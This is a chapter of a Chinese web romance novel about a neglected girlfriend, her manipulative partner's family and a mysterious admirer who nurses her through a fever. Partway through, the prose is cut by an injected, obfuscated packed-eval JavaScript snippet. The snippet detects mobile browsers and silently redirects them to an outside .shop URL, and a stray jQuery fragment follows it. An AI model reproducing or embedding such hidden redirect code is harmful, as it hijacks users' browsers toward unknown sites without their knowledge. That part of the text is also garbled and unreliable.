文趣网 > 都市小说 > 和前女友的心上人he了 > 8. 监控
    “跟寰宇的合作,推进得怎么样了?”

    “快了。”

    “快了快了,都已经多久了还没有谈妥,你还得拖到什么时候?等游戏下架吗?!”

    被父亲训斥得起了火,顾英回嘴:“她晏泠月那边一直不通过合同,我有什么办法!”

    “办法?办法是人动脑子想出来的!自己废物想不到,还敢跟我犟?!”

    “我——”

    顾母快步走过来,拍了下顾英的背,“怎么又惹你爸生气,去,给你爸倒杯茶,好好道歉。”

    顾英重重吐了口气,走过去倒茶。

    顾母笑着劝和:“喝口茶歇歇气。你放心,咱们阿英已经很努力了,而且琳琳这边也在帮忙呢。”

    顾英转头看顾琳,不屑哼声,“她能帮得上我什么忙?”

    “我怎么帮不上?”

    顾琳回嘴,“爸,之前我花时间认真熟悉了游戏内容,后来我带晏姐姐游戏之后,我们就加上了微信。

    “最近我跟姐姐一直在聊天,也又带着她玩了好几次游戏,她都非常满意。”

    顾英:“呵,满意怎么不签合同?”

    “那就要问哥你这边了,是不是你的方案有问题啊?”

    “你再胡说——”

    “啊,姐姐又约我明天见面了!”

    顾琳满面喜色地拿起手机晃了晃,

    “这样吧,到时候我可以好心地帮哥问问,到底是哪一方面太差劲。”

    看着咬牙切齿的顾英,顾琳心情大好地低下头。

    快速在消息界面回复了“好”,又发去一个可爱的开心表情包。

    切出界面后,看了眼跟秦弋晚的聊天框。

    得个感冒而已,也打电话来跟她说。

    是觉得这样就能让她心软拿捏她了吗?

    是不是她对秦弋晚太好了,导致秦弋晚有了错觉。

    敢不把她的话放在心上,迟到不按时给她送早餐,还这么高估自己在她心里的地位。

    刚才说明天联系,还是太便宜秦弋晚了。

    顾琳伸手挽住顾母,撒娇地说:“妈,我那辆路虎太难开了,给我找个司机让我用几天吧。”

    “之前你不是说有个缺钱的同学在开着车接送你吗?”

    “最近有点烦她,还是专业的司机好用。”

    “你呀,之前我就觉得那样不太好。你照顾同学想让人家挣点钱,可人家同学不一定承你情。你一月给那个同学多少工资?”

    “……”

    顾琳顿了顿,含糊道:“没个准确数,反正我让她缺多少随便跟我要。”

    虽然秦弋晚从没开口要过。

    估计是想攒个大的,又或者是觉得不要主动她才会给得更多,想借此抓牢她长期发展。

    顾母戳了戳顾琳的额头,“随便要,你倒是大方。这样,你把车钥匙给刘叔,让他给你开。”

    “知道啦。”

    顾琳笑着应声,一边低头进入微信里的联系人界面,从中找到秦弋晚。

    指尖一动。

    直接点了删除。

    得晾几上天,让秦弋晚好好急一急。

    这样秦弋晚才能好好地反省一下,到底该怎么更加用心地听她的话。

    ·

    医院。

    单人病房。

    秦弋晚做了很长的梦。

    模糊又混乱。

    梦到跟顾琳第一次见面,顾琳站在冰淇淋车下朝她挥手,“小姐姐,你好漂亮呀,能不能交个朋友,加一下好友?”

    在她低声拒绝后甜美笑着继续:“你还在书店兼职对不对?我在那里也遇见过你,我们好有缘分。你这次不答应的话,我只能下次再去书店找你啦。”

    梦到她答应跟顾琳谈恋爱的那一天,顾琳开心地跳起来拉住她,像游戏闯关成功一样喊着“耶”。然后举起手机说:“我要拍一段官宣视频!”

    还梦到沂京市被大雪封路的夜晚。

    收到顾琳的消息,说想跟她见面,也很想吃烤红薯,要她买好了带过来。

    那是刚进入恋爱关系后,顾琳对她提的第一个要求。

    大雪漫天的寒冷夜晚,交通早已陷入瘫痪,只能慢慢步行。

    积雪深的地方,一脚踩下去几乎没到膝盖。

    她走了一个多小时,终于好运地在路边找到最后一家还开着的烤红薯店。

    害怕变得太凉会口感不好,于是把烤红薯塞进了外套里,任由热气焐得胸口发烫。

    真的好烫。

    浑身都好烫……

    直到额头突然覆下了一片清凉。

    然后往下。沿着脸颊,下颌,脖颈,缓缓蔓延。

    舒适的凉感一点点压下了磨人的滚烫。

    晏泠月坐在病床边,脱掉手套的左手拿着浸湿的毛巾,轻轻擦拭在秦弋晚红热的皮肤上。

    厚重的外套搭在一旁,还余下一层衬衣。

    晏泠月伸手,将秦弋晚衬衣扣到最顶端的扣子解开两颗。

    白皙分明的锁骨雪一样淌出来。

    晏泠月动作微顿,垂眸安静看了几眼,缓下呼吸,将毛巾慢慢放上去。

    然后挑起衬衣,偏过头去,将毛巾探至运动内衣的下缘,沿着紧致的腹肌线条继续擦拭。

    一遍遍反复。

    直到女生灼热的吐息终于平缓下去,轻蹙的眉心舒展开,彻底陷入沉睡。

    ·

    “秦弋晚?晚晚!”

    秦弋晚睁开眼,不太适应光线地偏了下头,看见何姒担忧的脸,“现在感觉怎么样啊?好点没有?”

    “……”

    何姒伸手摸摸她额头,“摸着不烫了,你有没有哪儿还不舒服?”

    “……没有。”

    头不疼了,身上也不再酸痛。

    “我早上找你,发现你好像一晚上没回来,打电话问了问散打馆的人,才知道你请了假,生病在医院。”

    秦弋晚坐起来,看向四周:“……我怎么会在……病房里?”

    “我去输液区找你,护士说你烧得厉害差点晕了,幸亏有个好心人发现了,还帮你交了病房费。

    “不过我来的时候好心人已经走了,我还问了下是谁,结果人家做好事不留名。”

    何姒转身打开桌上的粥,“来,是不是饿坏了?趁热喝一点,垫垫肚子。”

    “嗯。”秦弋晚接过勺子,将粥送进嘴里时,动作顿了下。

    恍惚中闪过一段模糊的记忆,像是有谁曾把她扶抱在怀里,将盛了粥的小勺递到她唇边。

    ——“张嘴,乖。喝一点,补充些营养,退烧就更快了。”

    轻柔的声音一闪而过,还来不及捕捉就散在脑海里。

    见秦弋晚不动,何姒疑惑:“怎么了,很难喝吗?”

    “……没有。”秦弋晚咽下去,“很好喝。”

    喝了几口,她伸手去拿手机看时间。

    刚七点。

    休息一会儿,还来得及去散打馆赶今天上午的课。

    何姒看出她意图,“你一会儿不会还要去散打馆吧?”

    “嗯。我已经没事了,现在没什么不舒服的。”

    或许因为输了液,又睡满了觉,身上的不适感都消失了。

    连落汗后的粘腻感都没有,只觉得神清气爽。

    “年轻就是好啊。”

    知道拦不住她,何姒只是叮嘱,

    “但还是要注意,就算你是个体能怪,也不能太累。”

    秦弋晚点头,“今天课不多,别担心。”

    何姒看着秦弋晚喝完粥,想起来一件事。

    “对了,住隔壁的小苏雯谈恋爱了,正好我今天休息,她说晚上请咱俩在家吃火锅。”

    何姒在手机屏幕上点了几下,递到秦弋晚脸前,

    “喏,这是她在朋友圈的官宣图,看着不错,女才男貌。”

    “嗯。”

    秦弋晚抬眼看过去,晃了下神。

    突然想起昨晚梦里,顾琳说要拍官宣视频时的场景。

    “但是你才生完病,这样,我跟苏雯说一声,咱们吃清淡点的骨汤锅。”

    “好。”

    何姒埋头开始编辑消息,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17756776|209527||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一边嘟囔,“希望今天晚上顾大小姐没什么吩咐,不然你又要吃饭吃一半就走人。”

    “……”

    秦弋晚垂下眼。

    当初那段顾琳要拍的官宣视频,她后来没在顾琳朋友圈见到过。

    但那时候顾琳欣喜的神情,秦弋晚一直记到现在。

    能有一个人,因为她的一句接受,因为可以跟她在一起

    就露出那样快乐幸福的笑容。

    让秦弋晚真真切切地觉得,她还是被喜欢着的,被需要着的。

    所以为了回馈这份珍贵的喜欢和需要,她一直心甘情愿,想要付出全部努力,去做顾琳最称职贴心的女朋友。

    发现秦弋晚没出声,何姒抬头,“哎呀,我开玩笑的啦。”

    “嗯,我知道。”秦弋晚笑笑,拿起手机,“她还没说晚上有没有什么事,我先——”

    ——我先发消息问问她。

    话到了嘴边,突然顿了下。

    脑海里再次闪过一段不知何时听过的,模糊而低柔的声音。

    ——“想不难受,还有个很好的办法。”

    ——“换个人喜欢。”

    “……”

    秦弋晚回过神,放下手机没再发消息,起身拿外套,“等她联系我了,再说吧。”

    ·

    “小秦教练,这么快就来了呀!”

    前台的管理员同秦弋晚打招呼,

    “听说你生病了,好些没有啊?不行就先请假,玫姐帮你调个课。”

    “不用了,我已经没事了。”

    秦弋晚脚步稍顿,

    “玫姐,对不起,昨天答应了你的体验课没上成,学员那边有没有难为你?”

    “哎呀,没有。说起来也巧了,我跟学员解释说你请了假,学员那边也说突然有事,昨晚就没过来。”

    那的确是很巧,秦弋晚点头:“那就好。”

    “随后学员有消息了我再跟你说啊。”

    “好。”

    ·

    上午照常排了两节课。

    结束之后已经接近中午。

    秦弋晚往餐厅走,中途被身后的人叫住,“你是这里的教练吧?请问厕所在哪边,能不能麻烦带个路?”

    近几天散打馆内的厕所管道出了问题,正在修理。

    需要上厕所得从后门的通道拐出去,可以到商场最近的厕所。

    路的确不太好找。

    秦弋晚转过身,视线稍顿。

    觉得眼前的人有些眼熟。

    有些像那天晚上开车带走顾琳的人。

    但当时是夜晚,秦弋晚只看见几眼对方的侧脸。

    唯有后脑高束的马尾是完全一致的。

    “我们……之前有见过吗?”

    唐茗摇头,神情自然,“没有。可能是我长了一张大众脸。”

    “……”

    秦弋晚伸手,“厕所在这边,请跟我来。”

    跟在秦弋晚后面走着,唐茗低头看了眼手机消息,清了清嗓子,“这间不是厕所吗?”

    秦弋晚回头,见后方的女人伸手推开了一扇门。

    “不是,那是监控——”

    大开的门正对着监控屏幕,其中一处最显眼的屏幕,画面恰好被放到最大,落进秦弋晚眼里。

    几乎一眼就捕捉到了其中熟悉的身影。

    顾琳。

    秦弋晚认出那是贵宾休息室的监控。

    除了顾琳还有一个人,但坐在沙发处的监控盲角,只看见一截垂顺的酒红色缎面裙摆。

    顾琳怎么会来散打馆?

    ……特意来找她的吗?

    疑问刚出现,便很快被否定。

    顾琳知道她在散打馆当教练,但从没有问过她具体是哪里。

    本该在监控室值班的保安不知去了哪里,秦弋晚上前一步,想领开错门的客人离开。

    却先一步听见了监控内隐约溢出的急切辩白。

    “姐姐,你相信我!”

    “秦弋晚她才不是我的女朋友!”

    秦弋晚蓦地停下了动作。